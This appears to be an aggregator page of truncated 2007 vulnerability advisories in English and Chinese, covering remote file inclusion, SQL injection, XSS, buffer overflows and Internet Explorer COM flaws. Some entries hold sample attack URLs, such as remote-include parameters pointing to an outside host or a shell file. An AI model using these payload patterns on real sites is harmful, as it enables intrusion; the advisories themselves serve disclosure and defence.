Virginity Security Advisory 2007-001 : T-Com Speedport 500V Login bypass

-------------------------------------------------------------------- Virginity Security Advisory 2007-001 - - - -------------------------------------------------------------------- DATE : 2007-01-19 15:32 GMT TYPE : remote VERSIONS AFFECTED : T-Com Speedport 500V Firmware 1.31 AUTHOR :...

T-Com Speedport ADSL router unauthorized access

Constant Cookie value is set for Web access verification...

Magic Photo Storage Website - includeconfig.php?_config[site_path] Remote File Inclusion

Magic Photo Storage Website - includeconfig.php?configsitepath Remote File Inclusion source: https://www.securityfocus.com/bid/21965/info Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting...

CVE-2006-6908: Undefined Security Weakness

Buffer overflow in the Bluetooth Stack COM Server in the Widcomm Bluetooth stack, as packaged as Widcomm Stack 3.x and earlier on Windows, Widcomm BTStackServer 1.4.2.10 and 1.3.2.7 on Windows, Widcomm Bluetooth Communication Software 1.4.1.03 on Windows, and the Bluetooth implementation in Windo...

Unfixed XSS vulnerability at www.promos-2007.com

Security researcher THE-SH0CK-B0Y, has submitted on 01/06/2007 a cross-site-scripting XSS vulnerability affecting www.promos-2007.com, which at the time of submission ranked 3373877 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 01/06/2007. It...

Unfixed Redirect vulnerability at zirve100.com

Security researcher THE-SH0CK-B0Y, has submitted on 01/06/2007 a Redirect vulnerability affecting zirve100.com, which at the time of submission ranked 37453 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 01/06/2007. It is currently unfixed. If...

Kolayindir Download (Yenionline) (tr) SqL Injection Vuln.

BhhGroup.Org & Bilgi-Yonetimi.Org.Tr script name : Kolayindir Download Yenionline tr Script Download : http://www.aspindir.com/indir.asp?id=4630 Risk : High Found By : ShaFuck31 Vulnerable file : down.asp Vulnerable : http://www.victim.com/ScriptPath/down.asp?id=SqL Contact: ShaFuq31 at HoTMaiL d...

Azucar CMS Index_sitios.PHP远程文件包含漏洞

Azucar CMS是一款基于PHP的WEB应用程序。 Azucar CMS不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Indexsitios.PHP'脚本对用户提交的'VIEW'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Azucar CMS Azucar CMS 1.3 目前没有详细解决方案提供： http://azucarcms.sourceforge.net/...

CM68 News Oldnews.Inc.PHP远程文件包含漏洞

CM68 News是一款基于PHP的WEB应用程序。 CM68 News不充分过滤用户提交的URI输入，远程攻击者可以利用漏洞以WEB进程权限执行任意指令。 问题是'Oldnews.Inc.PHP'脚本对用户提交的'addpath'参数缺少过滤，指定远程服务器上的任意文件作为包含对象，可导致以进程权限执行任意指令。 CM68 News 12.02.06 http://www.cm68.de/ http://www.example.com/engine/oldnews.inc.php?addpath=http://www.example2.com...

com_flyspray Mambo Com. <= 1.0.1 Remote File Disclosure Vulnerability

| | / | / | | | | | / | / / | | | | '| | |/| |/ / / / / | | '| | | / | | || | | | | | | | | / | | | | || |/|| || ||,// / ||| ,|/ Compononent name:comflyspray Affected Version:1.0.1 d.page:http://mamboxchange.com/frs/download.php/8304/comflyspray1.0.1.zip Authour: Dr Max Virus Location:Egypt Bug i...

xmplay-3.txt

/ =================================================================== 0-day XMPlay 3.3.0.4 .PLS Filename Buffer Overflow Exploit =================================================================== XMPlay 3.3.0.4 and lower experiance a stack-based buffer overflow when loading malformed M3U and PLS...

Sphpblog => 0.8 Cross Site Scripting

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ DigitaL Hacking TeaM Sphpblog...

Microsoft IE COM对象实例化daxctle.ocx堆破坏漏洞（MS06-067）

Internet Explorer是微软发布的非常流行的WEB浏览器。 Internet Explorer在处理某些COM对象的畸形参数时存在堆破坏漏洞，远程攻击者可能利用此漏洞在用户机器上执行任意指令。 当Internet Explorer在处理DirectAnimation.PathControl COM对象（daxctle.ocx）的Spline方式时，如果将第一个参数设置为0xffffffff的话就会触发堆溢出漏洞，导致拒绝服务或执行任意指令。 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0...

Solaris 2.5.1 (sparc) : 105084-18

The remote host is missing Sun Security Patch number 105084-18 Solstice X25 9.1 patch. Date this patch was last updated by Sun : Tue Jan 13 01:57:07 MST 2004 You should install this patch for your system to be up-to-date. %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the...

Microsoft Internet Explorer多个COM对象颜色属性拒绝服务漏洞

Internet Explorer是微软发布的非常流行的WEB浏览器。 Internet Explorer在处理多个COM对象（dxtmsft.dll/dxtmsft3.dll）的颜色属性输入方式时，如果将颜色属性设置为超长字符串的话，就会导致Internet Explorer崩溃。 Microsoft Internet Explorer 6.0 SP1 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.microsoft.com/windows/ie/default.asp ===============...

Microsoft Windows 2000多个COM对象实例化内存破坏漏洞

Microsoft Windows是微软发布的非常流行的操作系统。 在Windows 2000上当Internet Explorer试图将ciodm.dll、MyInfo.dll、msdxm.ocx、Creator.dll（Media player 9）COM对象实例化为ActiveX控件时，就可能破坏系统内存，导致拒绝服务或执行任意代码。 Microsoft Internet Explorer 6.0 SP1 - Microsoft Windows 2000 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

Microsoft IE IMSKDIC.DLL COM对象实例化拒绝服务漏洞

Internet Explorer是微软发布的非常流行的WEB浏览器。 Internet Explorer在试图将IMSKDIC.DLL（Microsoft IME）COM对象实例化为ActiveX控件时可能会破坏系统内存，导致拒绝服务。 Microsoft Internet Explorer 6.0 SP2 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

Microsoft IE CHTSKDIC.DLL COM对象实例化拒绝服务漏洞

Internet Explorer是微软发布的非常流行的WEB浏览器。 Internet Explorer在试图将CHTSKDIC.DLL（Microsoft IME）COM对象实例化为ActiveX控件时可能会破坏系统内存，导致拒绝服务。 Microsoft Internet Explorer 6.0 SP2 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

freenews---> fileinclude

freenews--- fileinclude include "$chemin/config.php"; include "$chemin/functions.inc.php"; include "$chemin/options.inc.php"; name: MoHaNdKo E-mail : [email protected] exploit: www..com/path/affnews.php?chemin=shell.txt? Greatz: www.xp10.com & www.d4eg.org & www.dmazika.org www.tryag.com...

Breakthrough Windows 2 0 0 3 the PHP server to new ideas-vulnerability warning-the black bar safety net

From WIN2000 to WIN XP, WIN2003, MS IIS server security improvement is obvious. In WIN2000, a regular PHP SHELL will be able to put it down; in WIN XP, even Safe mode = off,you cannot use system function executes a system command, but we can also use the comfunction to break;to WIN 2 0 0 3,even i...